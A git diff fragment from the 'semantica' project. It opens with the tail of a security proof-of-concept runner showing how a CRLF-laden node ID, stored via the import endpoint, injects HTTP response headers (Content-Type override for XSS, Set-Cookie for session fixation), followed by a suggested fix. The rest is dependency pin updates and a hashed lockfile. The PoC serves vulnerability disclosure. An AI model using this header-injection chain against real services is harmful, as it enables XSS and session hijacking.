' + + # Step 1: import stores it + stored = parse_import_json({"nodes": [{"id": attack_id, "type": "entity"}]})[0] + assert stored["id"] == attack_id, "ID not stored verbatim" + print(f" ✓ ID stored verbatim: {repr(stored['id'][:60])}") + + # Step 2: provenance endpoint reflects it into header + raw = f'attachment; filename="{stored["id"]}_provenance.json"' + assert "Content-Type: text/html" in raw, "Content-Type not injected" + print(f" ✓ Content-Type: text/html injected via stored ID") + print(f" ✓ Full attack chain: import → store → provenance → header injection CONFIRMED") + + print() + print("[PoC 3] RESULT: Any user who can POST /api/import can plant a malicious node ID") + print("[PoC 3] that — when provenance is requested — injects HTTP response headers.") + print("[PoC 3] Impact: XSS (Content-Type override), session fixation (Set-Cookie).") + print() + print("[NOTE] Narrowing from file-overwrite: no direct file-write sink found in Explorer.") + print("[NOTE] Real impact is header injection chain with VULN-1 (both need the same fix).") + print() + print("[FIX] Sanitize node IDs on import (strip CRLF, null bytes, length-cap):") + print(" node_id = re.sub(r'[\\r\\n\\x00]', '', raw_id)[:256]") + + +# ───────────────────────────────────────────────────────────────────────────── + +if __name__ == "__main__": + print("semantica Security PoC Runner") + print("Demonstrates VULN-1, VULN-2, VULN-3 with real captured output") + print("No external server required — all evidence captured in-process") + + poc_vuln1() + poc_vuln2() + poc_vuln3() + + print("\n" + "="*70) + print("ALL PoCs COMPLETED — see output above for reproducible evidence") + print("="*70) diff --git a/pyproject.toml b/pyproject.toml index 097b05e1..341e57ed 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,10 +1,10 @@ [build-system] -requires = ["setuptools>=61.0", "wheel"] +requires = ["setuptools==84.0.0", "wheel==0.48.0"] build-backend = "setuptools.build_meta" [project] name = "semantica" -version = "0.6.0" +version = "0.6.5" description = "Accountability and context layer for AI agents. Context graphs, decision intelligence, full provenance tracking, and explainable reasoning engines — every AI decision traceable, every output auditable." readme = "README.md" license = { text = "MIT" } @@ -60,7 +60,7 @@ dependencies = [ "plotly>=6.8.0", "ipywidgets>=8.0.0", "requests>=2.34.2", - "GitPython>=3.1.50", + "GitPython>=3.1.58", "chardet>=7.4.3", "protobuf>=5.29.1,<8.0", "grpcio>=1.81.1", @@ -201,6 +201,10 @@ gpu = [ # ---- Agentic Framework Integrations ---- agno = ["agno>=1.0.0"] +# crewai core provides BaseTool and BaseKnowledgeSource; crewai-tools is not +# needed (it pulls vulnerable transitive deps like chromadb) and would only +# duplicate the prebuilt tooling users can install separately. +crewai = ["crewai>=0.80.0"] # ---- File Watching ---- watch = ["watchdog>=6.0.0"] @@ -230,10 +234,11 @@ dev = [ # Explorer Dashboard explorer = [ - "fastapi>=0.100.0", + "fastapi>=0.109.2", "uvicorn[standard]>=0.22.0", "websockets>=15.0.1", - "python-multipart>=0.0.6" + "python-multipart>=0.0.7", + "defusedxml>=0.7.1" ] explorer-lite = [ "streamlit>=1.25.0", @@ -241,6 +246,10 @@ explorer-lite = [ ] # Everything (cross-platform — gpu excluded; install semantica[gpu] separately on Linux) +# NOTE: the ``crewai`` extra is intentionally NOT in ``all``: crewai hard-requires +# ``chromadb~=1.1.0``, which carries a pre-authentication code-injection advisory +# (CVE-2026-45829) with no fixed release — including it here would fail the CI +# dependency-audit/security gates. Install it explicitly via ``semantica[crewai]``. all = [ "semantica[dev,viz,infra,cloud,monitoring,watch,llm-all,models-huggingface,split-all,graph-all,tripletstore-oxigraph,vectorstore-all,parse-docling,ingest-parquet,ingest-arrow,shacl,explorer]", "semantica[dev,viz,infra,cloud,monitoring,watch,llm-all,models-huggingface,split-all,graph-all,tripletstore-oxigraph,vectorstore-all,parse-docling,ingest-parquet,ingest-arrow,shacl,agno]" diff --git a/requirements-ci.txt b/requirements-ci.txt new file mode 100644 index 00000000..17df46d4 --- /dev/null +++ b/requirements-ci.txt @@ -0,0 +1,7167 @@ +# This file was autogenerated by uv via the following command: +# uv pip compile pyproject.toml --python-version 3.11 --extra all --generate-hashes -o requirements-ci.txt +accelerate==1.14.0 \ + --hash=sha256:41b9c4377a54e0b460a959b0defa1b736e4ca0a2373252d9a539964c2afe3c8d \ + --hash=sha256:e94390c2863b873be18f623f9df48a0d8fe5eff13ea7f1a00092b0a7904888c6 + # via + # docling-ibm-models + # docling-slim +agno==2.8.7 \ + --hash=sha256:6a2763eb469163f7b79ab1da6ca2f22d8619f6b9d614574f975d9c12bb4323ea \ + --hash=sha256:d49396a2062ee6994ca82695b9bd1e1b95667fec432c544afa38133e564bf090 + # via semantica (pyproject.toml) +agnoctl==0.1.3 \ + --hash=sha256:6fce1d2482b1f2e0a3d14b0a7c12fbd49d8df4f0bf0a4fd9fd91753cbff5efdc \ + --hash=sha256:94e1570cf2673ace2d7fa347b51c5fb2416d6f993a0a24b4fca71b04b15e72dd + # via agno +aiohappyeyeballs==2.7.1 \ + --hash=sha256:065665c041c42a5938ed220bdcd7230f22527fbec085e1853d2402c8a3615d9d \ + --hash=sha256:9243213661e29250eb41368e5daa826fc017156c3b8a11440826b2e3ed376472 + # via aiohttp +aiohttp==3.14.3 \ + --hash=sha256:03cd2bde3d7f085b64e549c985f4bb928cad7e8ecf5323bfca320db548d81b39 \ + --hash=sha256:041badb8f84396357c4d3ad26de6afd7a32b112f43d3c63045c0c8278cfd2043 \ + --hash=sha256:0a5ff2dfbb9ce645fa5b8ef3e02c6c0b9cc3f6030ff863d0c51fffc50cb5541b \ + --hash=sha256:0fdea2281997af69da84c77ffa6f5938a0285f21fb3887c249d67419ca865b3d \ + --hash=sha256:11fb37ef075669eee52ab1928fbf6e1741fada40409fa309ebde9607a962aebf \ + --hash=sha256:134ac5ddcf61c6fad984b9a5727d83492ada43d63471db20fb73042c13fca62f \ + --hash=sha256:152516815ef926786a0b6ae2b8f1fd2e0c71582dee0b435636865316fd4891b7 \ + --hash=sha256:1576145bdceeb92382d899751e12743a3a5b8e460a841e3e50543859e54864dc \ + --hash=sha256:16100ad3ab8d649fdfbee87602d9d2dcdca9df0b9eda8a1b5fdc0d41f96da559 \ + --hash=sha256:16ea7e24c309fb7c0bbd505d149abe4fe4dccfb8db911db7dbec0921bc889a6f \ + --hash=sha256:18c441d0a8fca6de8d1f546849b9f0ab20d435993e2c5b59562b2fae6be2f929 \ + --hash=sha256:18cb43369747b2ae007bd2655fb8e63a099c2ff1d207962943636dac989b3147 \ + --hash=sha256:1b59533861b70a2185c8f4f350f791f39d64358ef6944ce71c5240c9ec0982c9 \ + --hash=sha256:1c5281acc88b92396f88c7e1e2748f8466689df22b80170e4f51efa712fb47a8 \ + --hash=sha256:1c5ec8fb1bcc31a8466f74aaf26c345d5c386fa4bd08a3f0eb9c7a4a3fe8b5bf \ + --hash=sha256:1caa7b0d05f3e3a36f87788c59e970a7ee1cefcfcbb924a9f138c4a6551c9cb7 \ + --hash=sha256:21c016079415ed3fd676963e9793700a566d85dbbd6bfc564b9b2d209147dcc8 \ + --hash=sha256:2498f0fe69ead802f9675beca44a7c21c62fdaa4ec5145ea1c3ad6edbee29f85 \ + --hash=sha256:25bd2708db6bdf6a6630dd37bdcdfcb47c4434d22ac69c64665b802910140b30 \ + --hash=sha256:270d3dace9ca2f10f0da5d8ebe519b7a310fc6112ed916e32df5866df0888553 \ + --hash=sha256:2e1161602f45a54de2ce0905243a95f58cb42dcd378402f3697f5e0b21e9d2e7 \ + --hash=sha256:2e9878ae68e4a5f1c0abe4dd497dbc3d51946f5837b56759e2a02e78fa90ef86 \ + --hash=sha256:30402d03a7c0ff52bce290b57e564e9079fd9d0cb545c8aba73f86a103162d2e \ + --hash=sha256:33a2d7c28d33797a2e99923dffa63f83d908a19b6bf26cfe80fa790aa5e1a75a \ + --hash=sha256:362a3fd481769cac1a824514bcd86fda51c65e8fe6e051099e008fddde6db17c \ + --hash=sha256:38901a84da3ce22249f6e860bf8f90d141bcab7da090cc398f8bb58c0e44b7da \ + --hash=sha256:39aded8c7f3b935b54aab1d8d73c70ec0ee2d3ec3b943e0e86611bc150ba47f5 \ + --hash=sha256:3a26434dafe408229ff3403458ca58de24fb51936504decac49ce6755f77e59d \ + --hash=sha256:3ae5b3a59436d089b5395d910121a390feed4d00578eb95a0fd1a329fe963100 \ + --hash=sha256:3d4f72af88ac2474bb5bca640030320e3d38a0163a1d7533500e87be458eef71 \ + --hash=sha256:3f42e9b78301f11c8f861746175d8b9c1ccef713fcad9eab396e2f6db8ed4a22 \ + --hash=sha256:42a67efc36300d052fb4508a53e8b6901b9284b599ae63945c377569c5fcc1e1 \ + --hash=sha256:48d67b87db6279c044760787eb01f6413032c2e6f3ba1cafaa492b1c8e578479 \ + --hash=sha256:498c6c623134f8e09a3c4e60bcd607a0b4590dd7dbf08dd40851b27cbb520ccb \ + --hash=sha256:49f7325beb0f85ef4aef5f48f490269575f83e6e2acad00a1d80b807eb027062 \ + --hash=sha256:4e3ac92d90e92773b2362d506068e9a948192bd553e743c5b2429e28527c8661 \ + --hash=sha256:530125ee1163c4219af35dc3aa1206e541e7b31b6efc1a3f93b70a136f65d427 \ + --hash=sha256:5373dc80ad1aa2fb9ad95c83f24eef418bbda3a61375f128e5b0192e4f3f9b32 \ + --hash=sha256:53e5179d8abb5710f8e83ba207c41c8d1261fcffd4616500e15ca2b7a33be10a \ + --hash=sha256:53e7b4ce82b54a8bcc71b3b67a5cbd177ca1d7f592cbc92cd38b7349f73482db \ + --hash=sha256:543906c127fb1d929b95076db19b83fa2d46751006ff1e23b093aa5ac4d8db42 \ + --hash=sha256:54cfcdee2770dac994417cbb0ee1f3eb0e7cb6b30c79bf44f2c02ff79ec5124a \ + --hash=sha256:55bdcc472aafe2de4a253045cc128007a64f1e0264fb675791e132ea5edaa3bd \ + --hash=sha256:56f355e79f71aef2a85c80305cc915f894b170dba76de5fe84f6351939b83c06 \ + --hash=sha256:5895ef58c4620afe02fa16044f023dc4dafec08158f9d08874a46a7dbc0341b8 \ + --hash=sha256:5bcb6ff3fdab1258a192679ff1a05d44f59626430aa05cd1a9d2447423599228 \ + --hash=sha256:5f08ec777f35ee70720233b8b9811d3bb5d728137f30ac91b7457709c3261ac0 \ + --hash=sha256:614c61d478b83953e261d02bb2df750f17227cd33ef8002945bf5aebbde21919 \ + --hash=sha256:617105e2c3018ee38d0c8ce5ee3c84f621a6d8b9f723202aacaff28449ca91ee \ + --hash=sha256:6debfa7312ff9d4c124dc71d72e9a0a4b9e0879e48ba6fcb42bef5c3300289e2 \ + --hash=sha256:7041d52c3a7fa20c9e8c182b534704abb19502c8bdcbde7ab23bfda6f642394f \ + --hash=sha256:70c987b27534f9ae1a723f47ae921571d616da21d3208282bf4c52af5164ac43 \ + --hash=sha256:74ab5b6a9fb13e873e5a90946588baecaf488745e1db1a4a5c433f971f035098 \ + --hash=sha256:78253b573e6ffab5028924fc98bc281aae05445969982a10864bc360dea2016c \ + --hash=sha256:7a75aa63cbf9b21cfaf60dc2657e19df2c2867d91707d653fee171ffeedd1371 \ + --hash=sha256:8800c996b01c2772a783e3e46f3e1abd5823029adca0df54231960de9bfefa5b \ + --hash=sha256:89176250f686cb9853c0fb7ead90e639e915b84a6f43eedc2a4e7ec21f1037f0 \ + --hash=sha256:8a5fd34f7f7410d1730d5c2ba873cacb2eed3fede366feb268a70ba22581ed8f \ + --hash=sha256:8b3b60de05f3dcb6f6a00f818bb2ec781cee4de0645f59ccaf99b1d1823b6100 \ + --hash=sha256:8f2f1c4c032c7cedd7d8da6f54c97b70266c6570c3108d3fdffee7188bb70529 \ + --hash=sha256:9491196535a88924a60afd5b5f434b5b203b6cc616250878dbdb223a8f7844bc \ + --hash=sha256:9aa6e61fdf20105c4144e755bd586008ff450791d67b1c8146fdc15959c4d51c \ + --hash=sha256:9d9edccfe496b476db5f398d97b865e9a6752bcf8aec4eef8390ce20fb64bb41 \ + --hash=sha256:9fc7b5bfec6573f3ae844f457fdde5adeb713f8b8e4a81ad64fc207b49383716 \ + --hash=sha256:a0dc483c00da8b673abbb367eb6f8d8f4bcec30eb58529ea13cb42e7fd2dfa33 \ + --hash=sha256:a3a8296e7ab5c295f53f1041487cb088e1480775aafbf7fe545d93b770a0f96f \ + --hash=sha256:a3e22975f905b89a55a488c2a08f2fdb2186175349e917d48985cc468a3d4c6e \ + --hash=sha256:a4af35c443e0b1a1bd6a8af3f3485d7fda15c142751a00f3ff8090f0b93346fa \ + --hash=sha256:a94dbaae5ae27bd849c93570669bff91e0510f33a80805738e3de72a7be0447b \ + --hash=sha256:ac74facc01463f138b0da5580329cfcc82818dea5656e83ddcd11268fc12ff80 \ + --hash=sha256:ad4c8b7488d745d2ca4838ebd8ae5ba9b56341d30b1da43640e4ce87f9f49646 \ + --hash=sha256:b014a6ed7cf912e787149fdc529166d3ceabac23f26efeea3158c9aba2354e7e \ + --hash=sha256:b20032766aedf6261c7a566585a40867d092ac03a0d81592d5370ef9b054f99b \ + --hash=sha256:b2466434105a4e03113c36ec775cc2ebe6676b62eae326fa670bb607ef788c1c \ + --hash=sha256:b304db572b4368edd8dda8a2274f73156fe15558fca4a917cb8a09fc47af5963 \ + --hash=sha256:ba59d59aba08ac02fc03b0c8983ccd5ee39a199d0552ce9e6d2b4845b34d59ae \ + --hash=sha256:bd52f811e65f6fb634b1047159657c98f52b407f8efec907bcfc09da9a4c0a25 \ + --hash=sha256:bdd0e2834dce1a26c1bbe26464861e16bbe217042cbff619247c11594472518c \ + --hash=sha256:c23ec8ee9d5ab2f5421f9c7fffce208435607af27fd46d4a44e031954352838f \ + --hash=sha256:c39846c3aad97a8530c89d7a3869a8f8e9e3762c6ac0504481e5c80948f7e807 \ + --hash=sha256:c3c200cf9757edd785051dc699c7ecbec22110dbfcb3fefc7a9f9695eda8ea7a \ + --hash=sha256:c7d3a97c678d34fc5b59da671ee9cd630096ddc643e7b5a30d54a2a6f3574d3f \ + --hash=sha256:c8653fd547c93a61aadc612007790f5555cdd18946fa48cf45e26d8ea4ea473d \ + --hash=sha256:cc7cb243a68167172f48c1fd43cee91ec4b1d40cefd190edd43369d1a6bc9c82 \ + --hash=sha256:ccd4893707b3e2a13e39c90d43cf80edf2e4d0457935bcc103bf2346214c3f15 \ + --hash=sha256:cd817772b2fcf2b8c0905795318485f9ec16eae60b29feb7f4c77085311637f0 \ + --hash=sha256:cda5fd5c95ad7a125a2e8464acc78b98b94c475a3780d6aa0aa157c93f470f4d \ + --hash=sha256:cef89a58e628c4efcac3275c2d68083f82426dcdc89c1492a6f654f9f7ea6ab9 \ + --hash=sha256:d1558173930a5a8d3069cee5c92fc91c87c4dbcb099debbb3622053717145a19 \ + --hash=sha256:d6088ec9894113802bddb3c09e974929aed2c7b3a8c456219b8aab4481f1a239 \ + --hash=sha256:d6218d92e450824e9b4881f44e8c09f1853b490f9a64130801024a4793b1b3b0 \ + --hash=sha256:d77640cc618c1d99fc4f8589c0f24a730adfa54eb1e57ef7bf0c8dfb78da898c \ + --hash=sha256:d7d2deec16eeedf55f2c7cf75b521ea3856a5177e123844f8fd0f114ce252cb5 \ + --hash=sha256:db332af25642007330fca8be5c4d194caf2bea7a7fc84415aff3497af5dfee6b \ + --hash=sha256:dd54d0e8717de95939766febac482ac0474d8ac3b048115f9f2b1d23a16e7db4 \ + --hash=sha256:ddcac3c6b382e81f1dd0499199d4136b877beb4cb5ef770bbbfba56c4b8f55d2 \ + --hash=sha256:df82f3787c940c94986b34222d59c9e38843fba85139f36e85255a82ad5355a9 \ + --hash=sha256:dfa68deb2a443bdaa3ea5297b0699c1464f08aef3812b486d1348eee61b07dc0 \ + --hash=sha256:dff9461ec275f22135650d5ba4b4931a11f3958df7dfbb8db630000d4dee0883 \ + --hash=sha256:e1e74298bab6ee0d6e749ed4fd1901c7e604bdda32c03d787a2cc71c46d0433d \ + --hash=sha256:e2667f0bbe7eb6c74eae5e9691441ad186e5845ca3cff63230fc09c4e7514f5d \ + --hash=sha256:e3be98a7c30b8c25d573dafba7171d66dfb05ee6a9070fc46535464ff97700a6 \ + --hash=sha256:e568e14940c09955aa51f4e645b6daa18a581c5dcfcd73744dcc86a856e3ced3 \ + --hash=sha256:e72ee89e28d907a18f46959b4eb0bb06701cc7f8cf4366e00029e2ccfaaf5924 \ + --hash=sha256:e92eb8acc45eb6a9f4935071a77edf5b85cc6f8dfad5cd99e97653c26593cdde \ + --hash=sha256:ea05e1f97ceea523942d9b2a7d7c0359d781d683d6b043f5943a602b14da4787 \ + --hash=sha256:eac645b09bcfdf73df7536331f0678c1086ea250981118ddb5199e17ccef72bb \ + --hash=sha256:eb0495d778817619273c108784292be161a924b9f5ae5cbbc70a2caa6838250b \ + --hash=sha256:ebe8e504f058fe91223351cecd2d9d6946c9d241bb0250d898ffbdf584cc72b0 \ + --hash=sha256:ed099d105449c4f9e84f24af203cd131349d4761d8813fa7e02c32e7128cd910 \ + --hash=sha256:f0f177d1b195b9e06376cfd7d308d8a1b920909a609d03ac82a8c73bbb16d3b9 \ + --hash=sha256:f3d2669fe7dec7fc359ecdb5984b29b50d85d5d00f8c1cb61de4f4a24ee42627 \ + --hash=sha256:f4e05329faa0ea1a404b37de4f034fd2c2defcca06a68dc6745e4e56c88e8a48 \ + --hash=sha256:f53bcd52f585e1ac3e590d61434eb61f9a88c38df041b4ea126d97144344a77b \ + --hash=sha256:f55119f7bf25f49ed210f6096090715da24f2943c62102448915fde3c62877ce \ + --hash=sha256:f631fe87a6f30df5fbe6d79640b25e4cffb38c31c7fb6f10871517b84b0f8c1a \ + --hash=sha256:f8fb78a83c9e5f741ca3a68cfb455c1f5bb83b4e7249a3848b3cd78d0a8563b0 \ + --hash=sha256:fa9467a8113aa69d3d7c55a70ef0b7c636010a40993f3df9d9d0d73b3eb7ef24 \ + --hash=sha256:fd51ebf9d3a00c074df4ede271023f4d2dba289bcc740b88191872716014e3c5 + # via + # instructor + # litellm +aiosignal==1.4.0 \ + --hash=sha256:053243f8b92b990551949e63930a839ff0cf0b0ebbe0597b0f3fb19e1a0fe82e \ + --hash=sha256:f47eecd9468083c2029cc99945502cb7708b082c232f9aca65da147157b251c7 + # via aiohttp +amqp==5.3.1 \ + --hash=sha256:43b3319e1b4e7d1251833a93d672b4af1e40f3d632d479b98661a95f117880a2 \ + --hash=sha256:cddc00c725449522023bad949f70fff7b48f0b1ade74d170a6f10ab044739432 + # via kombu +annotated-doc==0.0.5 \ + --hash=sha256:117bac03a25ede5df5440e855b32d556049ca169ead221505badf432fed4b101 \ + --hash=sha256:c7e58ce09192557605d8bbd92836d7e1d520ac9580096042c0bfd197efacf1bb + # via + # fastapi + # typer +annotated-types==0.8.0 \ + --hash=sha256:13b2beaad985e05e2d6407ee4c4f35590b11f8d693a258a561055cac8f64cab7 \ + --hash=sha256:f072f4d804ea359e4eaf198b1af7a8b0943881a87f31bb764f8bf219bb9419e0 + # via pydantic +anthropic==0.121.0 \ + --hash=sha256:6048713fa441e59e1cba8363171cd2a86273b25bd213e9c7ac70a523af88b011 \ + --hash=sha256:e79d6e08ab3376602fc9a70d4d5ea3540817c76cf7e16658bed790834e1833d6 + # via semantica (pyproject.toml) +antlr4-python3-runtime==4.9.3 \ + --hash=sha256:f224469b4168294902bb1efa80a8bf7855f24c99aef99cbefc1bcd3cce77881b + # via omegaconf +anyio==4.14.2 \ + --hash=sha256:9f505dda5ac9f0c8309b5e8bd445a8c2bf7246f3ce950121e45ea15bc41d1494 \ + --hash=sha256:cfa139f3ed1a23ee8f88a145ddb5ac7605b8bbfd8592baacd7ce3d8bb4313c7f + # via + # anthropic + # google-genai + # groq + # httpx + # jupyter-server + # openai + # starlette + # watchfiles +argon2-cffi==25.1.0 \ + --hash=sha256:694ae5cc8a42f4c4e2bf2ca0e64e51e23a040c6a517a85074683d3959e1346c1 \ + --hash=sha256:fdc8b074db390fccb6eb4a3604ae7231f219aa669a2652e0f20e16ba513d5741 + # via jupyter-server +argon2-cffi-bindings==25.1.0 \ + --hash=sha256:1db89609c06afa1a214a69a462ea741cf735b29a57530478c06eb81dd403de99 \ + --hash=sha256:1e021e87faa76ae0d413b619fe2b65ab9a037f24c60a1e6cc43457ae20de6dc6 \ + --hash=sha256:21378b40e1b8d1655dd5310c84a40fc19a9aa5e6366e835ceb8576bf0fea716d \ + --hash=sha256:2630b6240b495dfab90aebe159ff784d08ea999aa4b0d17efa734055a07d2f44 \ + --hash=sha256:3c6702abc36bf3ccba3f802b799505def420a1b7039862014a65db3205967f5a \ + --hash=sha256:3d3f05610594151994ca9ccb3c771115bdb4daef161976a266f0dd8aa9996b8f \ + --hash=sha256:473bcb5f82924b1becbb637b63303ec8d10e84c8d241119419897a26116515d2 \ + --hash=sha256:5acb4e41090d53f17ca1110c3427f0a130f944b896fc8c83973219c97f57b690 \ + --hash=sha256:5d588dec224e2a83edbdc785a5e6f3c6cd736f46bfd4b441bbb5aa1f5085e584 \ + --hash=sha256:6dca33a9859abf613e22733131fc9194091c1fa7cb3e131c143056b4856aa47e \ + --hash=sha256:7aef0c91e2c0fbca6fc68e7555aa60ef7008a739cbe045541e438373bc54d2b0 \ + --hash=sha256:84a461d4d84ae1295871329b346a97f68eade8c53b6ed9a7ca2d7467f3c8ff6f \ + --hash=sha256:87c33a52407e4c41f3b70a9c2d3f6056d88b10dad7695be708c5021673f55623 \ + --hash=sha256:8b8efee945193e667a396cbc7b4fb7d357297d6234d30a489905d96caabde56b \ + --hash=sha256:a1c70058c6ab1e352304ac7e3b52554daadacd8d453c1752e547c76e9c99ac44 \ + --hash=sha256:a98cd7d17e9f7ce244c0803cad3c23a7d379c301ba618a5fa76a67d116618b98 \ + --hash=sha256:aecba1723ae35330a008418a91ea6cfcedf6d31e5fbaa056a166462ff066d500 \ + --hash=sha256:b0fdbcf513833809c882823f98dc2f931cf659d9a1429616ac3adebb49f5db94 \ + --hash=sha256:b55aec3565b65f56455eebc9b9f34130440404f27fe21c3b375bf1ea4d8fbae6 \ + --hash=sha256:b957f3e6ea4d55d820e40ff76f450952807013d361a65d7f28acc0acbf29229d \ + --hash=sha256:ba92837e4a9aa6a508c8d2d7883ed5a8f6c308c89a4790e1e447a220deb79a85 \ + --hash=sha256:c4f9665de60b1b0e99bcd6be4f17d90339698ce954cfd8d9cf4f91c995165a92 \ + --hash=sha256:c87b72589133f0346a1cb8d5ecca4b933e3c9b64656c9d175270a000e73b288d \ + --hash=sha256:d3e924cfc503018a714f94a49a149fdc0b644eaead5d1f089330399134fa028a \ + --hash=sha256:da0c79c23a63723aa5d782250fbf51b768abca630285262fb5144ba5ae01e520 \ + --hash=sha256:e2fd3bfbff3c5d74fef31a722f729bf93500910db650c925c2d6ef879a7e51cb + # via argon2-cffi +arrow==1.4.0 \ + --hash=sha256:749f0769958ebdc79c173ff0b0670d59051a535fa26e8eba02953dc19eb43205 \ + --hash=sha256:ed0cc050e98001b8779e84d461b0098c4ac597e88704a655582b21d116e526d7 + # via isoduration +ast-serialize==0.8.0 \ + --hash=sha256:0485a25ef519c62e749ee3c1ad8070e591b380d67226349eb5a70b228dc1ac4a \ + --hash=sha256:057769b5921336eb2d9124f2a731b42ed05ffdac559b840dbdf6f3937cf153dc \ + --hash=sha256:1f9caa63fad8241257ae401b5ff0a64026c6adb36b8e86cbe8782d9ea505daf6 \ + --hash=sha256:252f883290d1cdb728eb7fe1d9a7221b88af5a329aae0bc91ddee4dafb820331 \ + --hash=sha256:2880350b13d3eae69a0d70bc1fb6c9bfaca4dbd0e20ba8cd1aa483080b56ff06 \ + --hash=sha256:293cc1c5bfa741f8e3fbe8175b9c07beee487c9a6fdbb25a5acad9f1df2d30a9 \ + --hash=sha256:2d39a56282cfcc0d8eeea37267c754be59c98d48505c23b1dae5c6011f3813dd \ + --hash=sha256:2efa40b068197d5efb62655b43baadb842ed71c4958cccd3e8b86a35726f0119 \ + --hash=sha256:31883542dd6c94d178f5db3d32fbd69c5eb88b3a7c018e7ac8cc0c45195ddbed \ + --hash=sha256:3926fa117b5e65019853a2969966d11c7175af377a3425991f3fe73784412405 \ + --hash=sha256:39e92ff8e8cb45947fe9007174b2950e1fb098e6abd00266a13cd3bcf6675068 \ + --hash=sha256:3a8660fe66667b76a6e9dccd1d33e66b229fde3b308db991c041609226c005b6 \ + --hash=sha256:3ccebbed24f1281062d5852353c72c47502955926cfcb8345ffb3a44d87ff3d3 \ + --hash=sha256:3d822605fa7bb326ef868d25fafced7fc660fa46d9b90c02ea86d5e2f5d325f7 \ + --hash=sha256:40a57b73731be45da4fa41430c4d5dc94a24b3a4faba7b9e069978c0402064ea \ + --hash=sha256:43dd6d596879bb1cb8a12cc9dae7bb10090a39a35883026c24f82488a195619a \ + --hash=sha256:485f1113af805e9e170b95ef993ca3fbd4f89c04bab25c58b4fc632d854801ab \ + --hash=sha256:4c38b915511e32bc718c49dbce98ff9af36bac0ad6a604f58000cd5e3aecdba7 \ + --hash=sha256:4ca7e6fd1ad845d1cc649dc2ecd499db2f8f46af5bf8da7b70dd858774cc038b \ + --hash=sha256:5075b9da3ef807eda752502446dfecea3b381c4900b7e27a5d5f4f899eb39951 \ + --hash=sha256:54f95b486018d262bcb387a9afd96f0da74508b442762b80c769454a6fbb3ee3 \ + --hash=sha256:6102f2f985c2e542be85cd857678ec9356fefa792b93cadfadd31139f5696f27 \ + --hash=sha256:6479d9722a4cd21b578f5478074c41e6169f04811996ec881655560f703a5bba \ + --hash=sha256:6c37c43e4004dfb42d321ddedc569dc17ff4259296f3af577c9ea46a809bc010 \ + --hash=sha256:6f18048fe9f6dd266bd577cdec48bdcecb74faaa01fe941324435483b013ed2a \ + --hash=sha256:77308ae6c5cf5264cc0f01a7c556ec77a9e68eb1f61b093534d698139fdc3b14 \ + --hash=sha256:861794565b06337005c1447ef23103a3d5a627d08bdc827870d00d0b28ef5f51 \ + --hash=sha256:86b8a1e6d90467345356098b040150e82fbc26d24a7a202224b13dc1f6264ca0 \ + --hash=sha256:8c9d537f59e936392cfd3597789d1390304dd659efc3c486ce7f40fb6b8a9f53 \ + --hash=sha256:8d53a23f27e1ed3a36b2d26fd2a1a6228c8e85a1ed62ff7cdb44bd610769f20a \ + --hash=sha256:9118ad3e369727060b2696fc4078f250ecffca4248ba87f537f55cea9f9dce06 \ + --hash=sha256:96abc072ad29db8d02194afd47d68987322622787daceae82398d7b69f3ba2e6 \ + --hash=sha256:9830ff7e764f74d9eefb01170c61a9f0fd2c027dac5fcb72e064decd57d56371 \ + --hash=sha256:9a2ef9cf12f2de4f1028c42c1dd7d775255e0fb3e5bb48896c97e35ef52366fe \ + --hash=sha256:9d187197d234aa45d6cfa2b096be5f666e8cc2e7eb3722d0ab8926293cf5720c \ + --hash=sha256:9da7330f3e235bf7da89b8d39205c6350fc0c08a85379743f2df9fff87d6d980 \ + --hash=sha256:a02cbed7d8bfdcdee88edaac12bd50d53d9953aaa2e1852ef078625be5f1c0b5 \ + --hash=sha256:a63bed264e818cd83eec11feed0f50aa162542b91132ef58afebc857182763a5 \ + --hash=sha256:ab0f9a59f7d63d0d441b56b9a818b273705264352d5115cfee12e940e816d958 \ + --hash=sha256:ac4f0a83c55a9b782f79ad55a5247b7db123c1db405959791c2ef886e9710c9f \ + --hash=sha256:b2a5978662fd4db463dfb4b974d2b10ac6430b98f5333aabc7051909df3561d0 \ + --hash=sha256:bd84d60bca7079e741be4ac5dbe237751a59d7f6f9f0126b11880d63822cbe16 \ + --hash=sha256:c85d8d18db5b2dfcb3b7e38a4d600ca35504c0ed8a6f75cd1c811e4ffe248a15 \ + --hash=sha256:d8b3c8eee4c1baef9d4e84d2a59a805501617127be42615cb48970b15b0892b6 \ + --hash=sha256:db1b957291bca08c7e72f43a12357b2948e20775d970e3fc3dac0aa3160ab725 \ + --hash=sha256:ddd3b61f45c132da66c5476b281891e08c1fd87fbdabe8a6973e1622efc85f06 \ + --hash=sha256:e0910c3442a75216dde0f102d854ba2aaa71d2482e0ee213630b9bf29584fba3 \ + --hash=sha256:e1bd223df0f6c96b396975fa604cb33bce53d9b4a0185490be4c4a289f7c9c87 \ + --hash=sha256:e7266307e5fba39836edb79def8608887af48820508bff3c5f2941e1e04d1534 \ + --hash=sha256:e94f9121d13fa36cbf21314783c77d05ae3a0868decd18cf5233fdcc6de49ac8 \ + --hash=sha256:f0190a33d7f97c65e9069f7a7f40499eea6b5cbe260c558378109caf20ce934b \ + --hash=sha256:f3186969ee66a9863b00acc6523ace44c56974eecb348a7ea4b228d9f0b80e19 \ + --hash=sha256:f359df4bd921918af8bebd142a376c77511d7151cc8ba852760b587b5a4a54f3 \ + --hash=sha256:f7cc5f10386994c0f4844f1e6d6a97127e9b478660eb6dec2b257644f0acab64 \ + --hash=sha256:fa70ed4dea0bb18b30a1789c77baa701d0ef30c474f2ccabdea61e25623a8827 \ + --hash=sha256:fdc0d5b18ff8fb364e87923e47c0a91d0d69dbcaeaa274591f7fd26892cc3a3a \ + --hash=sha256:ffa5e7cb08f96fed9121f77b224151e41caf88feab9d652bb46c78202b6fbeda + # via mypy +asttokens==3.0.2 \ + --hash=sha256:3ecdbd8f2cc195f53ccada3a613538bb5f9ef6f6869129f13e03c30a677b8fe2 \ + --hash=sha256:9da13157f5b28becde0bd374fc677dcd3c290614264eff096f167c469cd9f933 + # via stack-data +async-lru==2.3.0 \ + --hash=sha256:89bdb258a0140d7313cf8f4031d816a042202faa61d0ab310a0a538baa1c24b6 \ + --hash=sha256:eea27b01841909316f2cc739807acea1c623df2be8c5cfad7583286397bb8315 + # via jupyterlab +async-timeout==5.0.1 \ + --hash=sha256:39e3809566ff85354557ec2398b55e096c8364bacac9405a7a1fa429e77fe76c \ + --hash=sha256:d9321a7a3d5a6a5e187e824d2fa0793ce379a202935782d555d6e9d2735677d3 + # via redis +attrs==26.1.0 \ + --hash=sha256:c647aa4a12dfbad9333ca4e71fe62ddc36f4e63b2d260a37a8b83d2f043ac309 \ + 